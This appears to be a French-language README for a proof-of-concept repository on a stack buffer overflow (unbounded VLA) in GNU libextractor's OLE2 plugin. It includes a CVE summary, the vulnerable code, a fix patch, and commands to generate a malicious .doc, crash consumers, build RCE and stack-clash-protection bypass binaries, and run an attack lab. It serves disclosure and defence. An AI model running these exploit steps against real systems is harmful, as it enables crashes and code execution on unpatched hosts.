
PoC pour un débordement de tampon critique basé sur la pile dans GNU libextractor ≤ 1.14. Un fichier .doc malveillant déclenche une allocation VLA non bornée provoquant un DoS inconditionnel. Dans les environnements multi-threadés, il contourne les protections stack-clash pour une RCE complète.
Un débordement de tampon basé sur la pile dans le plugin OLE2 de GNU libextractor permet un déni de service à distance (plantage) et une exécution de code lors du traitement d'un fichier .doc spécialement conçu. La vulnérabilité se situe dans process_star_office() (ole2_extractor.c:349) qui alloue un tableau de longueur variable (VLA) pouvant atteindre 4 Mo sur la pile, en fonction des données du fichier contrôlées par l'attaquant.
Impact principal : Déni de service à distance — plante toute application traitant le fichier malveillant
Impact secondaire : Exécution de code à distance via le contournement de -fstack-clash-protection par pile de thread adjacente
| Champ | Valeur |
|---|---|
| CVE | CVE-2026-91752 |
| Produit | GNU libextractor |
| Versions affectées | < 1.15 (toutes les versions jusqu'à 1.14) |
| Version corrigée | 1.15 |
| CVSS 4.0 | 8.7 ÉLEVÉ (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N) |
| CVSS 3.1 | 7.5 ÉLEVÉ (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) |
| Sévérité | ÉLEVÉE (DoS) / CRITIQUE (RCE en mode multi-thread in-process) |
| CWE | CWE-789 (Allocation mémoire avec valeur de taille excessive) / CWE-121 (Débordement de tampon basé sur la pile) |
| Vecteur d'attaque | Réseau (tout chemin de traitement de fichier) |
| Privilèges requis | Aucun |
| Interaction utilisateur | Aucune |
| CNA | VulnCheck |
| Chercheur | Haitam Lazaar |
Remarque : Les GCC modernes (≥8) activent
-fstack-clash-protectionpar défaut, ce qui, sur les applications mono-thread, transforme le débordement exploitable en un simple plantage sûr. Cependant, cette mitigation peut être contournée dans les applications multi-thread où les piles de threads sont adjacentes en mémoire — les sondes VLA réussissent dans la pile du thread voisin, permettant une exécution de code complète même sur des builds durcis. Voir docs/BYPASS.md pour plus de détails.
.doc non fiables# Generate malicious .doc
python3 poc/gen_payload.py exploit.doc
# Any application that processes this file with libextractor crashes:
extract exploit.doc # CLI tool → OLE2 plugin worker crashes
gnunet-publish exploit.doc # GNUnet → gnunet-helper-fs-publish crashes

L'animation ci-dessus illustre l'environnement de laboratoire automatisé fourni dans le répertoire lab-setup/. Il suffit d'exécuter docker compose up pour qu'un conteneur attaquant génère automatiquement la charge utile .doc malveillante et la téléverse vers un service web vulnérable d'indexation de documents. La logique d'analyse de libextractor déclenche le débordement de pile VLA, permettant à l'attaquant d'obtenir silencieusement une exécution de code arbitraire. Nous vérifions l'exploit en exécutant cat /tmp/pwned sur le conteneur cible pour voir la sortie de la commande.
├── poc/ # Proof of concept
│ ├── gen_payload.py # Generates malicious .doc trigger file
│ ├── poc_rce.c # Demonstrates code execution (protection disabled)
│ └── bypass_rce.c # Stack-clash-protection bypass (multi-threaded)
├── exploit/ # Exploitation details
│ ├── remote_exploit.sh # Example: triggering via HTTP upload (lab scenario)
│ └── extract_server.c # Example: vulnerable application using libextractor
├── patches/ # Recommended fix
│ └── 0001-fix-ole2-vla.patch
├── lab-setup/ # Reproducible test environment
│ ├── Dockerfile # Builds vulnerable libextractor from source
│ ├── docker-compose.yml # Full lab (includes HTTP upload as one test vector)
│ └── upload_server.py # Document indexing service simulation
└── docs/
├── BYPASS.md # Stack-clash-protection bypass technique
└── PAYLOAD_STRUCTURE.md # Malicious .doc file format documentation
# Build libextractor from source
./configure && make && sudo make install
# Generate trigger file
python3 poc/gen_payload.py exploit.doc
# Crash any libextractor consumer
extract exploit.doc # crashes the OLE2 plugin worker
gcc -O2 -fno-stack-clash-protection -o poc_rce poc/poc_rce.c -lextractor
ulimit -s 2048
./poc_rce exploit.doc # executes attacker payload (exit code 42)
gcc -O2 -fstack-clash-protection -o bypass_rce poc/bypass_rce.c -lextractor -lpthread
./bypass_rce exploit.doc # bypasses protection, executes payload (exit code 42)
docker-compose -f lab-setup/docker-compose.yml up -d
// src/plugins/ole2_extractor.c:349
off_t size = gsf_input_size(src); // Attacker controls via OLE2 stream
if (size > 4 * 1024 * 1024) return 0; // Max 4MB allowed — but stack is 1-8MB
char buf[size]; // VLA: up to 4MB ON THE STACK
gsf_input_read(src, size, buf); // Write attacker data
Sans -fstack-clash-protection, le compilateur génère :
sub %rax, %rsp ; Single instruction, jumps RSP past guard page
Avec -fstack-clash-protection, les sondes peuvent toujours être contournées dans des contextes multi-thread (voir docs/BYPASS.md).
- if ( (size < 0x374) ||
- (size > 4 * 1024 * 1024) )
+ char buf[0x374];
+
+ if (size < 0x374)
return 0;
- {
- char buf[size];
- gsf_input_read (src, size, (unsigned char*) buf);
+ gsf_input_read (src, sizeof(buf), (unsigned char*) buf);
Découvert par moi-même (Haitam Lazaar) lors de mes recherches indépendantes en sécurité.
Remerciements particuliers à Christian Grothoff, mainteneur de GNU libextractor, pour son tri incroyablement rapide, sa communication professionnelle et le déploiement rapide de correctifs (v1.15, v1.16 et v1.17) afin de résoudre ce problème ainsi que plusieurs autres problèmes de sécurité mémoire signalés lors de cet audit.
Mes recherches sont fournies à des fins éducatives et défensives. À utiliser de manière responsable.